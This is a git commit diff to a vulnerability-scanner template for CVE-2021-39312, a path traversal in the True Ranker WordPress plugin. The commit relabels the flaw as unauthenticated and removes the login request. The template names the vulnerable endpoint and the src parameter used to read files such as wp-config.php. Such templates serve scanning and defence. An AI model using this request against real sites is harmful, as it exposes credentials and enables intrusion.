Update CVE-2021-39312.yaml

patch-1
Dhiyaneshwaran 2022-05-01 16:10:55 +05:30 committed by GitHub
parent 7ee380cb9e
commit 101f0e4607
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 9 deletions

View File

@ -1,7 +1,7 @@
id: CVE-2021-39312
info:
name: True Ranker < 2.2.4 - Authenticated Arbitrary File Access via Path Traversal
name: True Ranker < 2.2.4 - Unauthenticated Arbitrary File Access via Path Traversal
author: DhiyaneshDK
severity: high
description: The plugin allows arbitrary files, including sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file.
@ -13,14 +13,6 @@ info:
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1
Host: {{Hostname}}